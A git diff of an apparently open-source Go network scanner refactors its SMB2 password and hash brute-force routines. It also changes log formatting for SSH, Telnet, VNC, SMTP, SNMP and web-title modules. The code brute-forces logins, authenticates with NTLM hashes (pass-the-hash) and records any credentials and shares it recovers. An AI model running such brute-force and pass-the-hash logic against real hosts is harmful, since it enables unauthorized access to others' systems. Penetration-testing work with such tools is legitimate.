case strings.Contains(errMsg, "STATUS_ACCOUNT_LOCKED_OUT"):
err = fmt.Errorf("账号锁定")
err = fmt.Errorf("账号锁定")
case strings.Contains(errMsg, "STATUS_ACCESS_DENIED"):
err = fmt.Errorf("访问被拒绝")
err = fmt.Errorf("拒绝访问")
case strings.Contains(errMsg, "STATUS_ACCOUNT_DISABLED"):
err = fmt.Errorf("账号禁用")
err = fmt.Errorf("账号禁用")
case strings.Contains(errMsg, "STATUS_PASSWORD_EXPIRED"):
err = fmt.Errorf("密码过期")
err = fmt.Errorf("密码过期")
case strings.Contains(errMsg, "STATUS_USER_SESSION_DELETED"):
return flag, fmt.Errorf("会话断开")
return false, fmt.Errorf("会话断开")
default:
err = fmt.Errorf("认证失败") // 简化错误信息
err = fmt.Errorf("认证失败")
}
}
signal <- struct{}{}
return flag, err
return false, err
}
func doWithTimeOut(info *Common.HostInfo, user string, pass string) (flag bool, err error) {
@@ -142,7 +160,6 @@ func doWithTimeOut(info *Common.HostInfo, user string, pass string) (flag bool,
case r := <-result:
return r.success, r.err
case <-time.After(time.Duration(Common.Timeout) * time.Second):
// 尝试从result通道读取,避免协程泄露
select {
case r := <-result:
return r.success, r.err
+144 -195
View File
@@ -27,190 +27,155 @@ func SmbScan2(info *Common.HostInfo) (tmperr error) {
return smbPasswordScan(info)
}
// smbHashScan 使用哈希进行认证扫描
func smbHashScan(info *Common.HostInfo) error {
maxRetries := Common.MaxRetries
threads := Common.BruteThreads
hasprint := false
// 创建任务通道
taskChan := make(chan struct {
user string
hash []byte
}, len(Common.Userdict["smb"])*len(Common.HashBytes))
resultChan := make(chan error, threads)
// 生成所有用户名和哈希组合任务
for _, user := range Common.Userdict["smb"] {
for _, hash := range Common.HashBytes {
taskChan <- struct {
user string
hash []byte
}{user, hash}
}
// smbPasswordScan 使用密码进行认证扫描
func smbPasswordScan(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
close(taskChan)
// 启动工作线程
threads := Common.BruteThreads
var wg sync.WaitGroup
successChan := make(chan struct{}, 1)
hasprint := false
var hasPrintMutex sync.Mutex
for i := 0; i < threads; i++ {
wg.Add(1)
go func() {
defer wg.Done()
startTime := time.Now().Unix()
// 改成按用户分组处理
for _, user := range Common.Userdict["smb"] {
// 为每个用户创建密码任务通道
taskChan := make(chan string, len(Common.Passwords))
for task := range taskChan {
// 重试循环
for retryCount := 0; retryCount < maxRetries; retryCount++ {
// 检查是否超时
if time.Now().Unix()-startTime > int64(Common.Timeout) {
resultChan <- fmt.Errorf("扫描超时")
// 生成该用户的所有密码任务
for _, pass := range Common.Passwords {
pass = strings.ReplaceAll(pass, "{user}", user)
taskChan <- pass
}
close(taskChan)
// 启动工作线程
for i := 0; i < threads; i++ {
wg.Add(1)
go func(username string) {
defer wg.Done()
for pass := range taskChan {
select {
case <-successChan:
return
default:
time.Sleep(100 * time.Millisecond)
}
// 执行SMB2认证
done := make(chan struct {
success bool
err error
printed bool
})
go func(user string, hash []byte) {
// 重试循环
for retryCount := 0; retryCount < Common.MaxRetries; retryCount++ {
hasPrintMutex.Lock()
currentHasPrint := hasprint
hasPrintMutex.Unlock()
success, err, printed := Smb2Con(info, user, "", hash, currentHasPrint)
success, err, printed := Smb2Con(info, username, pass, []byte{}, currentHasPrint)
if printed {
hasPrintMutex.Lock()
hasprint = true
hasPrintMutex.Unlock()
time.Sleep(100 * time.Millisecond)
}
done <- struct {
success bool
err error
printed bool
}{success, err, printed}
}(task.user, task.hash)
// 等待结果或超时
select {
case result := <-done:
if result.success {
logSuccessfulAuth(info, task.user, "", task.hash)
resultChan <- nil
if success {
logSuccessfulAuth(info, username, pass, []byte{})
time.Sleep(100 * time.Millisecond)
successChan <- struct{}{}
return
}
if result.err != nil {
logFailedAuth(info, task.user, "", task.hash, result.err)
if err != nil {
logFailedAuth(info, username, pass, []byte{}, err)
time.Sleep(100 * time.Millisecond)
// 检查是否需要重试
if retryErr := Common.CheckErrs(result.err); retryErr != nil {
if retryCount == maxRetries-1 {
resultChan <- result.err
return
// 检查是否账户锁定
if strings.Contains(err.Error(), "user account has been automatically locked") {
// 发现账户锁定,清空任务通道并返回
for range taskChan {
// 清空通道
}
continue // 继续重试
return
}
// 其他登录失败情况
if strings.Contains(err.Error(), "LOGIN_FAILED") ||
strings.Contains(err.Error(), "Authentication failed") ||
strings.Contains(err.Error(), "attempted logon is invalid") ||
strings.Contains(err.Error(), "bad username or authentication") {
break
}
if retryCount < Common.MaxRetries-1 {
time.Sleep(time.Second * time.Duration(retryCount+2))
continue
}
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
logFailedAuth(info, task.user, "", task.hash, fmt.Errorf("连接超时"))
break
}
break // 如果不需要重试,跳出重试循环
}
}(user)
}
if len(Common.HashValue) > 0 {
break
}
}
resultChan <- nil
}()
}
wg.Wait() // 等待当前用户的所有密码尝试完成
// 等待所有线程完成
go func() {
wg.Wait()
close(resultChan)
}()
// 检查结果
for err := range resultChan {
if err != nil {
if retryErr := Common.CheckErrs(err); retryErr != nil {
return err
}
// 检查是否已经找到正确密码
select {
case <-successChan:
return nil
default:
}
}
time.Sleep(200 * time.Millisecond)
return nil
}
// smbPasswordScan 使用密码进行认证扫描
func smbPasswordScan(info *Common.HostInfo) error {
maxRetries := Common.MaxRetries
threads := Common.BruteThreads
hasprint := false
// 创建任务通道
taskChan := make(chan struct {
user string
pass string
}, len(Common.Userdict["smb"])*len(Common.Passwords))
resultChan := make(chan error, threads)
// 生成所有用户名密码组合任务
for _, user := range Common.Userdict["smb"] {
for _, pass := range Common.Passwords {
pass = strings.ReplaceAll(pass, "{user}", user)
taskChan <- struct {
user string
pass string
}{user, pass}
}
func smbHashScan(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
close(taskChan)
// 启动工作线程
threads := Common.BruteThreads
var wg sync.WaitGroup
successChan := make(chan struct{}, 1)
hasprint := false
var hasPrintMutex sync.Mutex
for i := 0; i < threads; i++ {
wg.Add(1)
go func() {
defer wg.Done()
startTime := time.Now().Unix()
// 按用户分组处理
for _, user := range Common.Userdict["smb"] {
// 为每个用户创建hash任务通道
taskChan := make(chan []byte, len(Common.HashBytes))
for task := range taskChan {
// 重试循环
for retryCount := 0; retryCount < maxRetries; retryCount++ {
// 检查是否超时
if time.Now().Unix()-startTime > int64(Common.Timeout) {
resultChan <- fmt.Errorf("扫描超时")
// 生成该用户的所有hash任务
for _, hash := range Common.HashBytes {
taskChan <- hash
}
close(taskChan)
// 启动工作线程
for i := 0; i < threads; i++ {
wg.Add(1)
go func(username string) {
defer wg.Done()
for hash := range taskChan {
select {
case <-successChan:
return
default:
}
// 执行SMB2认证
done := make(chan struct {
success bool
err error
printed bool
})
go func(user, pass string) {
// 重试循环
for retryCount := 0; retryCount < Common.MaxRetries; retryCount++ {
hasPrintMutex.Lock()
currentHasPrint := hasprint
hasPrintMutex.Unlock()
success, err, printed := Smb2Con(info, user, pass, []byte{}, currentHasPrint)
success, err, printed := Smb2Con(info, username, "", hash, currentHasPrint)
if printed {
hasPrintMutex.Lock()
@@ -218,62 +183,50 @@ func smbPasswordScan(info *Common.HostInfo) error {
hasPrintMutex.Unlock()
}
done <- struct {
success bool
err error
printed bool
}{success, err, printed}
}(task.user, task.pass)
// 等待结果或超时
select {
case result := <-done:
if result.success {
logSuccessfulAuth(info, task.user, task.pass, []byte{})
resultChan <- nil
if success {
logSuccessfulAuth(info, username, "", hash)
successChan <- struct{}{}
return
}
if result.err != nil {
logFailedAuth(info, task.user, task.pass, []byte{}, result.err)
if err != nil {
logFailedAuth(info, username, "", hash, err)
// 检查是否需要重试
if retryErr := Common.CheckErrs(result.err); retryErr != nil {
if retryCount == maxRetries-1 {
resultChan <- result.err
return
// 检查是否账户锁定
if strings.Contains(err.Error(), "user account has been automatically locked") {
// 发现账户锁定,清空任务通道并返回
for range taskChan {
// 清空通道
}
continue // 继续重试
return
}
// 其他登录失败情况
if strings.Contains(err.Error(), "LOGIN_FAILED") ||
strings.Contains(err.Error(), "Authentication failed") ||
strings.Contains(err.Error(), "attempted logon is invalid") ||
strings.Contains(err.Error(), "bad username or authentication") {
break
}
if retryCount < Common.MaxRetries-1 {
time.Sleep(time.Second * time.Duration(retryCount+1))
continue
}
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
logFailedAuth(info, task.user, task.pass, []byte{}, fmt.Errorf("连接超时"))
break
}
break // 如果不需要重试,跳出重试循环
}
}(user)
}
if len(Common.HashValue) > 0 {
break
}
}
resultChan <- nil
}()
}
wg.Wait() // 等待当前用户的所有hash尝试完成
// 等待所有线程完成
go func() {
wg.Wait()
close(resultChan)
}()
// 检查结果
for err := range resultChan {
if err != nil {
if retryErr := Common.CheckErrs(err); retryErr != nil {
return err
}
// 检查是否已经找到正确凭据
select {
case <-successChan:
return nil
default:
}
}
@@ -284,17 +237,17 @@ func smbPasswordScan(info *Common.HostInfo) error {
func logSuccessfulAuth(info *Common.HostInfo, user, pass string, hash []byte) {
var result string
if Common.Domain != "" {
result = fmt.Sprintf("[+] SMB2认证成功 %v:%v Domain:%v\\%v ",
result = fmt.Sprintf("SMB2认证成功 %s:%s %s\\%s",
info.Host, info.Ports, Common.Domain, user)
} else {
result = fmt.Sprintf("[+] SMB2认证成功 %v:%v User:%v ",
result = fmt.Sprintf("SMB2认证成功 %s:%s %s",
info.Host, info.Ports, user)
}
if len(hash) > 0 {
result += fmt.Sprintf("HashValue:%v", Common.HashValue)
result += fmt.Sprintf(" Hash:%s", Common.HashValue)
} else {
result += fmt.Sprintf("Pass:%v", pass)
result += fmt.Sprintf(" Pass:%s", pass)
}
Common.LogSuccess(result)
}
@@ -303,10 +256,10 @@ func logSuccessfulAuth(info *Common.HostInfo, user, pass string, hash []byte) {
func logFailedAuth(info *Common.HostInfo, user, pass string, hash []byte, err error) {
var errlog string
if len(hash) > 0 {
errlog = fmt.Sprintf("[-] SMB2认证失败 %v:%v User:%v HashValue:%v Err:%v",
errlog = fmt.Sprintf("SMB2认证失败 %s:%s %s Hash:%s %v",
info.Host, info.Ports, user, Common.HashValue, err)
} else {
errlog = fmt.Sprintf("[-] SMB2认证失败 %v:%v User:%v Pass:%v Err:%v",
errlog = fmt.Sprintf("SMB2认证失败 %s:%s %s:%s %v",
info.Host, info.Ports, user, pass, err)
}
errlog = strings.ReplaceAll(errlog, "\n", " ")
@@ -379,24 +332,20 @@ func Smb2Con(info *Common.HostInfo, user string, pass string, hash []byte, haspr
// logShareInfo 记录SMB共享信息
func logShareInfo(info *Common.HostInfo, user string, pass string, hash []byte, shares []string) {
var result string
// 构建基础信息
if Common.Domain != "" {
result = fmt.Sprintf("[*] SMB2共享信息 %v:%v Domain:%v\\%v ",
result = fmt.Sprintf("SMB2共享信息 %s:%s %s\\%s",
info.Host, info.Ports, Common.Domain, user)
} else {
result = fmt.Sprintf("[*] SMB2共享信息 %v:%v User:%v ",
result = fmt.Sprintf("SMB2共享信息 %s:%s %s",
info.Host, info.Ports, user)
}
// 添加认证信息
if len(hash) > 0 {
result += fmt.Sprintf("HashValue:%v ", Common.HashValue)
result += fmt.Sprintf(" Hash:%s", Common.HashValue)
} else {
result += fmt.Sprintf("Pass:%v ", pass)
result += fmt.Sprintf(" Pass:%s", pass)
}
// 添加共享列表
result += fmt.Sprintf("可用共享: %v", shares)
Common.LogSuccess(result)
result += fmt.Sprintf(" 共享:%v", shares)
Common.LogInfo(result)
}
+2 -2
View File
@@ -102,7 +102,7 @@ func SmtpScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况
if err != nil {
errlog := fmt.Sprintf("[-] SMTP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
errlog := fmt.Sprintf("SMTP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog)
@@ -180,7 +180,7 @@ func SmtpConn(info *Common.HostInfo, user string, pass string) (bool, error) {
}
// 如果成功
result := fmt.Sprintf("[+] SMTP服务 %v:%v ", host, port)
result := fmt.Sprintf("SMTP服务 %v:%v ", host, port)
if user != "" {
result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass)
} else {
+3 -3
View File
@@ -71,7 +71,7 @@ func SNMPScan(info *Common.HostInfo) (tmperr error) {
err = result.err
if result.success && err == nil {
// 连接成功
successLog := fmt.Sprintf("[+] SNMP服务 %v:%v community: %v 连接成功",
successLog := fmt.Sprintf("SNMP服务 %v:%v community: %v 连接成功",
info.Host, info.Ports, community)
Common.LogSuccess(successLog)
resultChan <- nil
@@ -83,7 +83,7 @@ func SNMPScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况
if err != nil {
errlog := fmt.Sprintf("[-] SNMP服务 %v:%v 尝试失败 community: %v 错误: %v",
errlog := fmt.Sprintf("SNMP服务 %v:%v 尝试失败 community: %v 错误: %v",
info.Host, info.Ports, community, err)
Common.LogError(errlog)
@@ -150,7 +150,7 @@ func SNMPConnect(info *Common.HostInfo, community string, portNum int) (bool, er
}
if len(result.Variables) > 0 {
success := fmt.Sprintf("[+] SNMP服务 %v:%v community: %v",
success := fmt.Sprintf("SNMP服务 %v:%v community: %v",
host, portNum, community) // 使用portNum替换port
if result.Variables[0].Type != gosnmp.NoSuchObject {
+7 -7
View File
@@ -71,7 +71,7 @@ func SshScan(info *Common.HostInfo) (tmperr error) {
}
if err != nil {
errlog := fmt.Sprintf("[-] SSH认证失败 %v:%v User:%v Pass:%v Err:%v",
errlog := fmt.Sprintf("SSH认证失败 %v:%v User:%v Pass:%v Err:%v",
info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog)
@@ -120,12 +120,12 @@ func SshConn(info *Common.HostInfo, user string, pass string) (flag bool, err er
if Common.SshKeyPath != "" {
pemBytes, err := ioutil.ReadFile(Common.SshKeyPath)
if err != nil {
return false, fmt.Errorf("[-] 读取密钥失败: %v", err)
return false, fmt.Errorf("读取密钥失败: %v", err)
}
signer, err := ssh.ParsePrivateKey(pemBytes)
if err != nil {
return false, fmt.Errorf("[-] 解析密钥失败: %v", err)
return false, fmt.Errorf("解析密钥失败: %v", err)
}
auth = []ssh.AuthMethod{ssh.PublicKeys(signer)}
} else {
@@ -161,18 +161,18 @@ func SshConn(info *Common.HostInfo, user string, pass string) (flag bool, err er
return true, err
}
if Common.SshKeyPath != "" {
Common.LogSuccess(fmt.Sprintf("[+] SSH密钥认证成功 %v:%v\n命令输出:\n%v",
Common.LogSuccess(fmt.Sprintf("SSH密钥认证成功 %v:%v\n命令输出:\n%v",
info.Host, info.Ports, string(output)))
} else {
Common.LogSuccess(fmt.Sprintf("[+] SSH认证成功 %v:%v User:%v Pass:%v\n命令输出:\n%v",
Common.LogSuccess(fmt.Sprintf("SSH认证成功 %v:%v User:%v Pass:%v\n命令输出:\n%v",
info.Host, info.Ports, user, pass, string(output)))
}
} else {
if Common.SshKeyPath != "" {
Common.LogSuccess(fmt.Sprintf("[+] SSH密钥认证成功 %v:%v",
Common.LogSuccess(fmt.Sprintf("SSH密钥认证成功 %v:%v",
info.Host, info.Ports))
} else {
Common.LogSuccess(fmt.Sprintf("[+] SSH认证成功 %v:%v User:%v Pass:%v",
Common.LogSuccess(fmt.Sprintf("SSH认证成功 %v:%v User:%v Pass:%v",
info.Host, info.Ports, user, pass))
}
}
+3 -3
View File
@@ -81,14 +81,14 @@ func TelnetScan(info *Common.HostInfo) (tmperr error) {
err = result.err
if result.noAuth {
// 无需认证
result := fmt.Sprintf("[+] Telnet服务 %v:%v 无需认证",
result := fmt.Sprintf("Telnet服务 %v:%v 无需认证",
info.Host, info.Ports)
Common.LogSuccess(result)
resultChan <- nil
return
} else if result.success {
// 成功爆破
result := fmt.Sprintf("[+] Telnet服务 %v:%v 用户名:%v 密码:%v",
result := fmt.Sprintf("Telnet服务 %v:%v 用户名:%v 密码:%v",
info.Host, info.Ports, task.user, task.pass)
Common.LogSuccess(result)
resultChan <- nil
@@ -100,7 +100,7 @@ func TelnetScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况
if err != nil {
errlog := fmt.Sprintf("[-] Telnet连接失败 %v:%v 用户名:%v 密码:%v 错误:%v",
errlog := fmt.Sprintf("Telnet连接失败 %v:%v 用户名:%v 密码:%v 错误:%v",
info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog)
+2 -2
View File
@@ -67,7 +67,7 @@ func VncScan(info *Common.HostInfo) (tmperr error) {
err = result.err
if result.success && err == nil {
// 连接成功
successLog := fmt.Sprintf("[+] %s://%v:%v 密码: %v",
successLog := fmt.Sprintf("%s://%v:%v 密码: %v",
modename, info.Host, info.Ports, pass)
Common.LogSuccess(successLog)
resultChan <- nil
@@ -79,7 +79,7 @@ func VncScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况
if err != nil {
errlog := fmt.Sprintf("[-] %s://%v:%v 尝试密码: %v 错误: %v",
errlog := fmt.Sprintf("%s://%v:%v 尝试密码: %v 错误: %v",
modename, info.Host, info.Ports, pass, err)
Common.LogError(errlog)
+3 -3
View File
@@ -35,7 +35,7 @@ func WebTitle(info *Common.HostInfo) error {
if !Common.DisablePoc && err == nil {
WebScan.WebScan(info)
} else {
errlog := fmt.Sprintf("[-] 网站标题 %v %v", info.Url, err)
errlog := fmt.Sprintf("网站标题 %v %v", info.Url, err)
Common.LogError(errlog)
}
@@ -185,7 +185,7 @@ func geturl(info *Common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er
}
// 输出结果
result := fmt.Sprintf("[*] 网站标题 %-25v 状态码:%-3v 长度:%-6v 标题:%v",
result := fmt.Sprintf("网站标题 %-25v 状态码:%-3v 长度:%-6v 标题:%v",
resp.Request.URL, resp.StatusCode, length, title)
if reurl != "" {
result += fmt.Sprintf(" 重定向地址: %s", reurl)
@@ -297,7 +297,7 @@ func GetProtocol(host string, Timeout int64) (protocol string) {
if conn != nil {
defer func() {
if err := recover(); err != nil {
Common.LogError(err)
Common.LogError(fmt.Sprintf("连接关闭时发生错误: %v", err))
}
}()
conn.Close()